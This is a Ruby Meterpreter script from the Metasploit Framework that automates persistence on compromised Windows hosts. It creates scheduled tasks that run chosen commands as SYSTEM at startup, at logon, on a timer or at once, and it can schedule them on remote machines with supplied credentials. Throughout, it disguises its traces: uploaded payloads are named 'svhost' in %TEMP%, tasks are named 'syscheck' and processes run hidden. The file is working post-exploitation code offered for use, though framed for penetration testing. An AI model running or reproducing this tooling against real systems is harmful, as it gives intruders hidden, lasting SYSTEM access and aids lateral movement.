metasploit-framework/scripts/meterpreter/scheduleme.rb

261 lines
9.3 KiB
Ruby
Raw Normal View History

# $Id$
# $Revision$
#Meterpreter script for automating the most common scheduling tasks
#during a pentest. This script will use the schtasks command so as
#to provide future compatibility since MS will retire the AT command
#in future versions of windows. This script works with Windows XP,
#Windows 2003, Windows Vista and Windows 2008.
#Version: 0.1.2
#Note: in Vista UAC must be disabled to be able to perform scheduling
#and the meterpreter must be running under the profile of local admin
#or system.
################## Variable Declarations ##################
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ],
"-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"],
"-d" => [ false,"Daily." ],
"-hr" => [ true,"Every specified hours 1-23."],
"-m" => [ true, "Every specified amount of minutes 1-1439"],
"-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"],
"-l" => [ false,"When a user logs on."],
"-o" => [ true,"Options for executable when upload method used"],
"-s" => [ false,"At system startup."],
"-i" => [ false,"Run command imediatly and only once."],
"-r" => [ false,"Remote Schedule. Executable has to be already on remote target"],
"-u" => [ false,"Username of account with administrative privelages."],
"-p" => [ false,"Password for account provided."],
"-t" => [ true,"Remote system to schedule job."]
)
################## function declaration Declarations ##################
def usage()
print_line("Scheduleme -- provides most common scheduling types used during a pentest")
print_line("This script can upload a given executable or script and schedule it to be")
print_line("executed. All scheduled task are run as System so the Meterpreter process")
print_line("must be System or local admin for local schedules and Administrator for")
print_line("remote schedules")
print_line(@@exec_opts.usage)
end
#---------------------------------------------------------------------------------------------------------
def scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password)
execmd = ""
success = false
taskname = "syscheck#{rand(100)}"
if cmdopt != nil
cmd = "#{cmd} #{cmdopt}"
end
case schtype
when "startup"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system /u #{username} /p #{password}"
end
when "login"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system /u #{username} /p #{password}"
end
when "hourly"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /u #{username} /p #{password}"
end
when "daily"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /u #{username} /p #{password}"
end
when "minute"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /u #{username} /p #{password}"
end
when "now"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00 /u #{username} /p #{password}"
end
end
print_status("Scheduling command #{cmd} to run #{schtype}.....")
r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
if d =~ /successfully been created/
print_status("The scheduled task has been successfully created")
if username == nil
print_status("For cleanup run schtasks /delete /tn #{taskname} /F")
else
print_status("For cleanup run schtasks /delete /tn #{taskname} /u #{username} /p #{password} /F")
end
success = true
end
end
if !success
print_status("Failed to create scheduled task!!")
elsif success && schtype == "now"
if username == nil
session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname}")
else
session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /u #{username} /p #{password}")
end
end
r.channel.close
r.close
end
#---------------------------------------------------------------------------------------------------------
def scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password)
execmd = ""
success = false
taskname = "syscheck#{rand(100)}"
if cmdopt != nil
cmd = "#{cmd} #{cmdopt}"
end
case schtype
when "startup"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /ru system "
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /u #{username} /p #{password} /ru system "
end
when "login"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /ru system "
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /u #{username} /p #{password} /ru system "
end
when "hourly"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys}"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}"
end
when "daily"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys}"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}"
end
when "minute"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys}"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}"
end
when "now"
if username == nil
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00"
else
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00 /u #{username} /p #{password}"
end
end
print_status("Scheduling command #{cmd} to run #{schtype}.....")
r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
if d =~ /successfully been created/
print_status("The scheduled task has been successfully created")
print_status("For cleanup run schtasks /delete /tn #{taskname} /s #{targetsys} /u #{username} /p #{password} /F")
success = true
end
end
if !success
print_status("Failed to create scheduled task!!")
elsif success && schtype == "now"
if username == nil
session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys}")
else
session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys} /u #{username} /p #{password}")
end
end
r.channel.close
r.close
end
#---------------------------------------------------------------------------------------------------------
def upload(session,file)
location = session.fs.file.expand_path("%TEMP%")
fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
print_status("Uploading #{file}....")
session.fs.file.upload_file("#{fileontrgt}","#{file}")
print_status("#{file} uploaded!")
return fileontrgt
end
# Parsing of Options
cmd = nil
file = nil
schtype = ""
tmmod = ""
cmdopt = nil
helpcall = 0
remote = 0
targetsys = nil
username = nil
password = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-c"
cmd = val
when "-e"
file = val
when "-d"
tmmod = val
schtype = "daily"
when "-hr"
tmmod = val
schtype = "hourly"
when "-m"
tmmod = val
schtype = "minute"
when "-s"
schtype = "startup"
when "-l"
schtype = "login"
when "-i"
schtype = "now"
when "-o"
cmdopt = val
when "-r"
remote = 1
when "-t"
targetsys = val
when "-u"
username = val
when "-p"
password = val
when "-h"
helpcall = 1
end
}
if client.platform =~ /win32|win64/
if helpcall == 1
usage()
elsif cmd == nil && file == nil
usage()
elsif !is_uac_enabled? and is_admin?
if file == nil
if remote == 0
scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password)
else
scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password)
end
else
cmd = upload(session,file)
scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password)
end
else
print_status("Meterpreter is not running under sufficient administrative rights.")
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end